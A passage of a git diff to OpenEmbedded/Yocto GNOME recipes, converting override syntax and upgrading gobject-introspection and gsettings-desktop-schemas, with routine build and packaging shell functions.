+DESCRIPTION = "The Adwaita icon theme is the default icon theme of the GNOME desktop \
+This package package contains an icon theme for Gtk+ 3 applications."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/adwaita-icon-theme/issues"
+SECTION = "x11/gnome"
+
+LICENSE = "LGPL-3.0 | CC-BY-SA-3.0"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c84cac88e46fc07647ea07e6c24eeb7c \
+ file://COPYING_CCBYSA3;md5=96143d33de3a79321b1006c4e8ed07e7 \
+ file://COPYING_LGPL;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+inherit allarch autotools pkgconfig gettext gtk-icon-cache gnomebase
+
+SRC_URI += " \
+ file://0001-Don-t-use-AC_CANONICAL_HOST.patch \
+ file://0001-Run-installation-commands-as-shell-jobs.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "ef5339d8c35fcad5d10481b70480803f0fa20b3d3cbc339238fcaceeaee01eba"
+
+DEPENDS += "librsvg-native"
+
+PACKAGES = "${PN}-cursors ${PN}-symbolic-hires ${PN}-symbolic ${PN}-hires ${PN}"
+
+RREPLACES:${PN} = "gnome-icon-theme"
+RCONFLICTS:${PN} = "gnome-icon-theme"
+RPROVIDES:${PN} = "gnome-icon-theme"
+
+FILES:${PN}-cursors = "${prefix}/share/icons/Adwaita/cursors/"
+FILES:${PN}-symbolic-hires = "${prefix}/share/icons/Adwaita/96x96/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/64x64/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/48x48/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/32x32/*/*.symbolic.png"
+FILES:${PN}-symbolic = "${prefix}/share/icons/Adwaita/16x16/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/24x24/*/*.symbolic.png \
+ ${prefix}/share/icons/Adwaita/scalable/*/*-symbolic*.svg"
+FILES:${PN}-hires = "${prefix}/share/icons/Adwaita/256x256/ \
+ ${prefix}/share/icons/Adwaita/512x512/"
+FILES:${PN} = "${prefix}/share/icons/Adwaita/ \
+ ${prefix}/share/pkgconfig/adwaita-icon-theme.pc"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gnome/gconf_3.2.6.bb b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
index ade93644ec..dd760b9c63 100644
--- a/meta/recipes-gnome/gnome/gconf_3.2.6.bb
+++ b/meta/recipes-gnome/gnome/gconf_3.2.6.bb
@@ -28,12 +28,12 @@ EXTRA_OECONF = "--enable-shared --disable-static \
PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'polkit', d)}"
# We really don't want Polkit for native
-PACKAGECONFIG_class-native = ""
+PACKAGECONFIG:class-native = ""
PACKAGECONFIG[polkit] = "--enable-defaults-service,--disable-defaults-service,polkit"
PACKAGECONFIG[debug] = "--enable-debug=yes, --enable-debug=minimum"
-do_install_append() {
+do_install:append() {
# this directory need to be created to avoid an Error 256 at gdm launch
install -d ${D}${sysconfdir}/gconf/gconf.xml.system
@@ -42,19 +42,19 @@ do_install_append() {
rm -f ${D}${libdir}/gio/*/*.*a
}
-do_install_append_class-native() {
+do_install:append:class-native() {
create_wrapper ${D}/${bindir}/gconftool-2 \
GCONF_BACKEND_DIR=${STAGING_LIBDIR_NATIVE}/GConf/2
}
-FILES_${PN} += "${libdir}/GConf/* \
+FILES:${PN} += "${libdir}/GConf/* \
${libdir}/gio/*/*.so \
${datadir}/polkit* \
${datadir}/dbus-1/services/*.service \
${datadir}/dbus-1/system-services/*.service \
"
-RDEPENDS_${PN} = "python3-xml"
+RDEPENDS:${PN} = "python3-xml"
-FILES_${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
+FILES:${PN}-dev += "${datadir}/sgml/gconf/gconf-1.0.dtd"
BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
index 185ebc154a..ba965092e1 100644
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-Relocate-the-repository-directory-for-native-builds.patch
@@ -1,4 +1,4 @@
-From 41c3ee549787333a073a3ce6303efef625c74dce Mon Sep 17 00:00:00 2001
+From 74a0fee892235c722ac60ddea6ee79bc3d7a93f5 Mon Sep 17 00:00:00 2001
From: Sascha Silbe <x-yo17@se-silbe.de>
Date: Fri, 8 Jun 2018 13:55:10 +0200
Subject: [PATCH] Relocate the repository directory for native builds
@@ -62,7 +62,7 @@ index 7d03485..20f4813 100644
typelib_search_path = g_slist_prepend (typelib_search_path, typelib_dir);
diff --git a/girepository/meson.build b/girepository/meson.build
-index c8ef6aa..b85ff7f 100644
+index 786749a..15cf2a9 100644
--- a/girepository/meson.build
+++ b/girepository/meson.build
@@ -45,7 +45,7 @@ girepo_internals_lib = static_library('girepository-internals',
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-exclude-girepo_dep-if-introspection-data.patch b/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-exclude-girepo_dep-if-introspection-data.patch
deleted file mode 100644
index 8fba0124cf..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection/0001-meson.build-exclude-girepo_dep-if-introspection-data.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-From ef5446af0ddad6a341b47957097ac40c6cb5e6d3 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 20 Oct 2020 22:40:14 +0200
-Subject: [PATCH] meson.build: exclude girepo_dep if introspection data is
- disabled
-
-Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gobject-introspection/-/merge_requests/248]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/meson.build b/meson.build
-index 14af2b1..a3c27c3 100644
---- a/meson.build
-+++ b/meson.build
-@@ -283,7 +283,7 @@ pkg.generate(
- # FIXME: meson.override_dependency() and declare_dependency()'s variable arguments
- # are new in Meson 0.54.0, older versions of Meson won't be able to use g-i as
- # subproject anyway
--if meson.version().version_compare('>=0.54.0')
-+if meson.version().version_compare('>=0.54.0') and get_option('build_introspection_data') == true
- girepo_dep = declare_dependency(
- sources: typelibs,
- dependencies: girepo_dep,
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.66.1.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.66.1.bb
deleted file mode 100644
index ee0ab2866b..0000000000
--- a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.66.1.bb
+++ /dev/null
@@ -1,207 +0,0 @@
-SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
-DESCRIPTION = "GObject Introspection is a project for providing machine \
-readable introspection data of the API of C libraries. This introspection \
-data can be used in several different use cases, for example automatic code \
-generation for bindings, API verification and documentation generation."
-HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
-SECTION = "libs"
-LICENSE = "LGPLv2+ & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
- file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
- file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
- file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
- "
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
- file://0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch \
- file://0001-meson.build-exclude-girepo_dep-if-introspection-data.patch \
- "
-
-SRC_URI[sha256sum] = "dd44a55ee5f426ea22b6b89624708f9e8d53f5cc94e5485c15c87cb30e06161d"
-
-SRC_URI_append_class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
-
-inherit meson pkgconfig gtk-doc python3native qemu gobject-introspection-data upstream-version-is-even multilib_script
-
-GTKDOC_MESON_OPTION = "gtk_doc"
-
-MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
-
-DEPENDS_append = " libffi zlib glib-2.0 python3 flex-native bison-native autoconf-archive"
-
-# target build needs qemu to run temporary introspection binaries created
-# on the fly by g-ir-scanner and a native version of itself to run
-# native versions of its own tools during build.
-# Also prelink-rtld is used to find out library dependencies of introspection binaries
-# (standard ldd doesn't work when cross-compiling).
-DEPENDS_class-target_append = " gobject-introspection-native qemu-native prelink-native"
-
-# needed for writing out the qemu wrapper script
-export STAGING_DIR_HOST
-export B
-
-PACKAGECONFIG ?= ""
-PACKAGECONFIG[doctool] = "-Ddoctool=enabled,-Ddoctool=disabled,python3-mako,"
-
-# Configure target build to use native tools of itself and to use a qemu wrapper
-# and optionally to generate introspection data
-EXTRA_OEMESON_class-target = " \
- -Dgi_cross_use_prebuilt_gi=true \
- -Dgi_cross_binary_wrapper=${B}/g-ir-scanner-qemuwrapper \
- -Dgi_cross_ldd_wrapper=${B}/g-ir-scanner-lddwrapper \
- -Dgi_cross_pkgconfig_sysroot_path=${PKG_CONFIG_SYSROOT_DIR} \
- ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dbuild_introspection_data=true', '-Dbuild_introspection_data=false', d)} \
- ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
-"
-
-# Need to ensure ld.so.conf exists so prelink-native works
-# both before we build and if we install from sstate
-do_configure[prefuncs] += "gobject_introspection_preconfigure"
-python gobject_introspection_preconfigure () {
- oe.utils.write_ld_so_conf(d)
-}
-
-do_configure_prepend_class-native() {
- # Tweak the native python scripts so that they don't refer to the
- # full path of native python binary (the solution is taken from glib-2.0 recipe)
- # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_configure_prepend_class-target() {
- # Write out a qemu wrapper that will be given to gi-scanner so that it
- # can run target helper binaries through that.
- qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
- cat > ${B}/g-ir-scanner-qemuwrapper << EOF
-#!/bin/sh
-# Use a modules directory which doesn't exist so we don't load random things
-# which may then get deleted (or their dependencies) and potentially segfault
-export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
-
-$qemu_binary "\$@"
-if [ \$? -ne 0 ]; then
- echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
- echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
- exit 1
-fi
-EOF
- chmod +x ${B}/g-ir-scanner-qemuwrapper
-
- # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
- # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
- # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
- # from the target sysroot.
- cat > ${B}/g-ir-scanner-wrapper << EOF
-#!/bin/sh
-# This prevents g-ir-scanner from writing cache data to $HOME
-export GI_SCANNER_DISABLE_CACHE=1
-
-g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-wrapper
-
- # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
- # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
- cat > ${B}/g-ir-compiler-wrapper << EOF
-#!/bin/sh
-${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
-EOF
- chmod +x ${B}/g-ir-compiler-wrapper
-
- # Write out a wrapper to use instead of ldd, which does not work when a binary is built
- # for a different architecture
- cat > ${B}/g-ir-scanner-lddwrapper << EOF
-#!/bin/sh
-prelink-rtld --root=$STAGING_DIR_HOST "\$@"
-EOF
- chmod +x ${B}/g-ir-scanner-lddwrapper
-
- # Also tweak the target python scripts so that they don't refer to the
- # native version of python binary (the solution is taken from glib-2.0 recipe)
- sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
-}
-
-do_compile_prepend() {
- # This prevents g-ir-scanner from writing cache data to $HOME
- export GI_SCANNER_DISABLE_CACHE=1
-
- # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
- export GIR_EXTRA_LIBS_PATH=$B/.libs
-}
-
-do_install_prepend() {
- # This prevents g-ir-scanner from writing cache data to $HOME
- export GI_SCANNER_DISABLE_CACHE=1
-}
-
-# Our wrappers need to be available system-wide, because they will be used
-# to build introspection files for all other gobject-based packages
-do_install_append_class-target() {
- install -d ${D}${bindir}/
- install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
- install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
- install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
-}
-
-# we need target versions of introspection tools in sysroot so that they can be run via qemu
-# when building introspection files in other packages
-SYSROOT_DIRS_append_class-target = " ${bindir}"
-
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " gi_binaries_sysroot_preprocess"
-gi_binaries_sysroot_preprocess() {
- # Tweak the binary names in the introspection pkgconfig file, so that it
- # picks up our wrappers which do the cross-compile and qemu magic.
- sed -i \
- -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
- -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
- ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
-}
-
-SYSROOT_PREPROCESS_FUNCS_append = " gi_ldsoconf_sysroot_preprocess"
-gi_ldsoconf_sysroot_preprocess () {
- mkdir -p ${SYSROOT_DESTDIR}${bindir}
- dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
- echo "#!/bin/sh" > $dest
- echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
- echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
- chmod 755 $dest
-}
-
-# Remove wrapper files from the package, only used for cross-compiling
-PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
-gi_package_preprocess() {
- rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
- rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
- rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
- rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
-}
-
-SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
-
-# .typelib files are needed at runtime and so they go to the main package
-FILES_${PN}_append = " ${libdir}/girepository-*/*.typelib"
-
-# .gir files go to dev package, as they're needed for developing (but not for running)
-# things that depends on introspection.
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
-FILES_${PN}-dev_append = " ${datadir}/gir-*/*.rnc"
-
-# These are used by gobject-based packages
-# to generate transient introspection binaries
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/gdump.c \
- ${datadir}/gobject-introspection-1.0/Makefile.introspection"
-
-# These are used by dependent packages (e.g. pygobject) to build their
-# testsuites.
-FILES_${PN}-dev_append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
- ${datadir}/gobject-introspection-1.0/tests/*.h"
-
-FILES_${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
-FILES_${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
-
-RDEPENDS_${PN} = "python3-pickle python3-xml"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb
new file mode 100644
index 0000000000..d96caf08d8
--- /dev/null
+++ b/meta/recipes-gnome/gobject-introspection/gobject-introspection_1.70.0.bb
@@ -0,0 +1,206 @@
+SUMMARY = "Middleware layer between GObject-using C libraries and language bindings"
+DESCRIPTION = "GObject Introspection is a project for providing machine \
+readable introspection data of the API of C libraries. This introspection \
+data can be used in several different use cases, for example automatic code \
+generation for bindings, API verification and documentation generation."
+HOMEPAGE = "https://wiki.gnome.org/action/show/Projects/GObjectIntrospection"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gobject-introspection/issues"
+SECTION = "libs"
+LICENSE = "LGPLv2+ & GPLv2+ & MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c434e8128a68bedd59b80b2ac1eb1c4a \
+ file://tools/compiler.c;endline=20;md5=fc5007fc20022720e6c0b0cdde41fabd \
+ file://giscanner/sourcescanner.c;endline=22;md5=194d6e0c1d00662f32d030ce44de8d39 \
+ file://girepository/giregisteredtypeinfo.c;endline=21;md5=661847611ae6979465415f31a759ba27 \
+ "
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${@oe.utils.trim_version("${PV}", 2)}/${BPN}-${PV}.tar.xz \
+ file://0001-giscanner-ignore-error-return-codes-from-ldd-wrapper.patch \
+ "
+
+SRC_URI[sha256sum] = "902b4906e3102d17aa2fcb6dad1c19971c70f2a82a159ddc4a94df73a3cafc4a"
+
+SRC_URI:append:class-native = " file://0001-Relocate-the-repository-directory-for-native-builds.patch"
+
+inherit meson pkgconfig gtk-doc python3native qemu gobject-introspection-data upstream-version-is-even multilib_script
+
+GTKDOC_MESON_OPTION = "gtk_doc"
+
+MULTILIB_SCRIPTS = "${PN}:${bindir}/g-ir-annotation-tool ${PN}:${bindir}/g-ir-scanner"
+
+DEPENDS += " libffi zlib glib-2.0 python3 flex-native bison-native autoconf-archive"
+
+# target build needs qemu to run temporary introspection binaries created
+# on the fly by g-ir-scanner and a native version of itself to run
+# native versions of its own tools during build.
+# Also prelink-rtld is used to find out library dependencies of introspection binaries
+# (standard ldd doesn't work when cross-compiling).
+DEPENDS:append:class-target = " gobject-introspection-native qemu-native prelink-native"
+
+# needed for writing out the qemu wrapper script
+export STAGING_DIR_HOST
+export B
+
+PACKAGECONFIG ?= ""
+PACKAGECONFIG[doctool] = "-Ddoctool=enabled,-Ddoctool=disabled,python3-mako,"
+
+# Configure target build to use native tools of itself and to use a qemu wrapper
+# and optionally to generate introspection data
+EXTRA_OEMESON:class-target = " \
+ -Dgi_cross_use_prebuilt_gi=true \
+ -Dgi_cross_binary_wrapper=${B}/g-ir-scanner-qemuwrapper \
+ -Dgi_cross_ldd_wrapper=${B}/g-ir-scanner-lddwrapper \
+ -Dgi_cross_pkgconfig_sysroot_path=${PKG_CONFIG_SYSROOT_DIR} \
+ ${@bb.utils.contains('GI_DATA_ENABLED', 'True', '-Dbuild_introspection_data=true', '-Dbuild_introspection_data=false', d)} \
+ ${@'-Dgir_dir_prefix=${libdir}' if d.getVar('MULTILIBS') else ''} \
+"
+
+# Need to ensure ld.so.conf exists so prelink-native works
+# both before we build and if we install from sstate
+do_configure[prefuncs] += "gobject_introspection_preconfigure"
+python gobject_introspection_preconfigure () {
+ oe.utils.write_ld_so_conf(d)
+}
+
+do_configure:prepend:class-native() {
+ # Tweak the native python scripts so that they don't refer to the
+ # full path of native python binary (the solution is taken from glib-2.0 recipe)
+ # This removes the risk of exceeding Linux kernel's shebang line limit (128 bytes)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_configure:prepend:class-target() {
+ # Write out a qemu wrapper that will be given to gi-scanner so that it
+ # can run target helper binaries through that.
+ qemu_binary="${@qemu_wrapper_cmdline(d, '$STAGING_DIR_HOST', ['\\$GIR_EXTRA_LIBS_PATH','.libs','$STAGING_DIR_HOST/${libdir}','$STAGING_DIR_HOST/${base_libdir}'])}"
+ cat > ${B}/g-ir-scanner-qemuwrapper << EOF
+#!/bin/sh
+# Use a modules directory which doesn't exist so we don't load random things
+# which may then get deleted (or their dependencies) and potentially segfault
+export GIO_MODULE_DIR=${STAGING_LIBDIR}/gio/modules-dummy
+
+$qemu_binary "\$@"
+if [ \$? -ne 0 ]; then
+ echo "If the above error message is about missing .so libraries, then setting up GIR_EXTRA_LIBS_PATH in the recipe should help."
+ echo "(typically like this: GIR_EXTRA_LIBS_PATH=\"$""{B}/something/.libs\" )"
+ exit 1
+fi
+EOF
+ chmod +x ${B}/g-ir-scanner-qemuwrapper
+
+ # Write out a wrapper for g-ir-scanner itself, which will be used when building introspection files
+ # for glib-based packages. This wrapper calls the native version of the scanner, and tells it to use
+ # a qemu wrapper for running transient target binaries produced by the scanner, and an include directory
+ # from the target sysroot.
+ cat > ${B}/g-ir-scanner-wrapper << EOF
+#!/bin/sh
+# This prevents g-ir-scanner from writing cache data to user's HOME dir
+export GI_SCANNER_DISABLE_CACHE=1
+
+g-ir-scanner --lib-dirs-envvar=GIR_EXTRA_LIBS_PATH --use-binary-wrapper=${STAGING_BINDIR}/g-ir-scanner-qemuwrapper --use-ldd-wrapper=${STAGING_BINDIR}/g-ir-scanner-lddwrapper --add-include-path=${STAGING_DATADIR}/gir-1.0 --add-include-path=${STAGING_LIBDIR}/gir-1.0 "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-wrapper
+
+ # Write out a wrapper for g-ir-compiler, which runs the target version of it through qemu.
+ # g-ir-compiler writes out the raw content of a C struct to disk, and therefore is architecture dependent.
+ cat > ${B}/g-ir-compiler-wrapper << EOF
+#!/bin/sh
+${STAGING_BINDIR}/g-ir-scanner-qemuwrapper ${STAGING_BINDIR}/g-ir-compiler "\$@"
+EOF
+ chmod +x ${B}/g-ir-compiler-wrapper
+
+ # Write out a wrapper to use instead of ldd, which does not work when a binary is built
+ # for a different architecture
+ cat > ${B}/g-ir-scanner-lddwrapper << EOF
+#!/bin/sh
+prelink-rtld --root=$STAGING_DIR_HOST "\$@"
+EOF
+ chmod +x ${B}/g-ir-scanner-lddwrapper
+
+ # Also tweak the target python scripts so that they don't refer to the
+ # native version of python binary (the solution is taken from glib-2.0 recipe)
+ sed -i -e '1s,#!.*,#!${USRBINPATH}/env python3,' ${S}/tools/g-ir-tool-template.in
+}
+
+do_compile:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+
+ # Needed to run g-ir unit tests, which won't be able to find the built libraries otherwise
+ export GIR_EXTRA_LIBS_PATH=$B/.libs
+}
+
+do_install:prepend() {
+ # This prevents g-ir-scanner from writing cache data to $HOME
+ export GI_SCANNER_DISABLE_CACHE=1
+}
+
+# Our wrappers need to be available system-wide, because they will be used
+# to build introspection files for all other gobject-based packages
+do_install:append:class-target() {
+ install -d ${D}${bindir}/
+ install ${B}/g-ir-scanner-qemuwrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-wrapper ${D}${bindir}/
+ install ${B}/g-ir-compiler-wrapper ${D}${bindir}/
+ install ${B}/g-ir-scanner-lddwrapper ${D}${bindir}/
+}
+
+# we need target versions of introspection tools in sysroot so that they can be run via qemu
+# when building introspection files in other packages
+SYSROOT_DIRS:append:class-target = " ${bindir}"
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " gi_binaries_sysroot_preprocess"
+gi_binaries_sysroot_preprocess() {
+ # Tweak the binary names in the introspection pkgconfig file, so that it
+ # picks up our wrappers which do the cross-compile and qemu magic.
+ sed -i \
+ -e "s|g_ir_scanner=.*|g_ir_scanner=${bindir}/g-ir-scanner-wrapper|" \
+ -e "s|g_ir_compiler=.*|g_ir_compiler=${bindir}/g-ir-compiler-wrapper|" \
+ ${SYSROOT_DESTDIR}${libdir}/pkgconfig/gobject-introspection-1.0.pc
+}
+
+SYSROOT_PREPROCESS_FUNCS:append = " gi_ldsoconf_sysroot_preprocess"
+gi_ldsoconf_sysroot_preprocess () {
+ mkdir -p ${SYSROOT_DESTDIR}${bindir}
+ dest=${SYSROOT_DESTDIR}${bindir}/postinst-ldsoconf-${PN}
+ echo "#!/bin/sh" > $dest
+ echo "mkdir -p ${STAGING_DIR_TARGET}${sysconfdir}" >> $dest
+ echo "echo ${base_libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ echo "echo ${libdir} >> ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf" >> $dest
+ chmod 755 $dest
+}
+
+# Remove wrapper files from the package, only used for cross-compiling
+PACKAGE_PREPROCESS_FUNCS += "gi_package_preprocess"
+gi_package_preprocess() {
+ rm -f ${PKGD}${bindir}/g-ir-scanner-qemuwrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-compiler-wrapper
+ rm -f ${PKGD}${bindir}/g-ir-scanner-lddwrapper
+}
+
+SSTATE_SCAN_FILES += "g-ir-scanner-qemuwrapper g-ir-scanner-wrapper g-ir-compiler-wrapper g-ir-scanner-lddwrapper Gio-2.0.gir postinst-ldsoconf-${PN}"
+
+# .typelib files are needed at runtime and so they go to the main package
+FILES:${PN}:append = " ${libdir}/girepository-*/*.typelib"
+
+# .gir files go to dev package, as they're needed for developing (but not for running)
+# things that depends on introspection.
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.gir ${libdir}/gir-*/*.gir"
+FILES:${PN}-dev:append = " ${datadir}/gir-*/*.rnc"
+
+# These are used by gobject-based packages
+# to generate transient introspection binaries
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/gdump.c \
+ ${datadir}/gobject-introspection-1.0/Makefile.introspection"
+
+# These are used by dependent packages (e.g. pygobject) to build their
+# testsuites.
+FILES:${PN}-dev:append = " ${datadir}/gobject-introspection-1.0/tests/*.c \
+ ${datadir}/gobject-introspection-1.0/tests/*.h"
+
+FILES:${PN}-dbg += "${libdir}/gobject-introspection/giscanner/.debug/"
+FILES:${PN}-staticdev += "${libdir}/gobject-introspection/giscanner/*.a"
+
+RDEPENDS:${PN} = "python3-pickle python3-xml"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.38.0.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.38.0.bb
deleted file mode 100644
index 34681197d8..0000000000
--- a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_3.38.0.bb
+++ /dev/null
@@ -1,16 +0,0 @@
-SUMMARY = "GNOME desktop-wide GSettings schemas"
-DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
-GSettings schemas for settings shared by various components of a desktop."
-HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-
-DEPENDS = "glib-2.0"
-
-GNOMEBASEBUILDCLASS = "meson"
-
-inherit gnomebase gsettings gobject-introspection gettext upstream-version-is-even
-
-SRC_URI[archive.sha256sum] = "5704c8266004b296036671f223c705dc046aa694a1b1abb87c67e7d2747a8c67"
diff --git a/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb
new file mode 100644
index 0000000000..693ccd0148
--- /dev/null
+++ b/meta/recipes-gnome/gsettings-desktop-schemas/gsettings-desktop-schemas_41.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "GNOME desktop-wide GSettings schemas"
+DESCRIPTION = "GSettings desktop-wide schemas contains a collection of \
+GSettings schemas for settings shared by various components of a desktop."
+HOMEPAGE = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/issues"
+
+LICENSE = "LGPLv2.1"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
+
+DEPENDS = "glib-2.0"
+
+GNOMEBASEBUILDCLASS = "meson"
+
+inherit gnomebase gsettings gobject-introspection gettext
+
+SRC_URI[archive.sha256sum] = "77289972e596d044583f0c056306d8f1dbd8adcf912910a50da0a663e65332ed"
diff --git a/meta/recipes-gnome/gtk+/gtk+3.inc b/meta/recipes-gnome/gtk+/gtk+3.inc
index 8d5edb7ee8..4de4dcf532 100644
--- a/meta/recipes-gnome/gtk+/gtk+3.inc
+++ b/meta/recipes-gnome/gtk+/gtk+3.inc
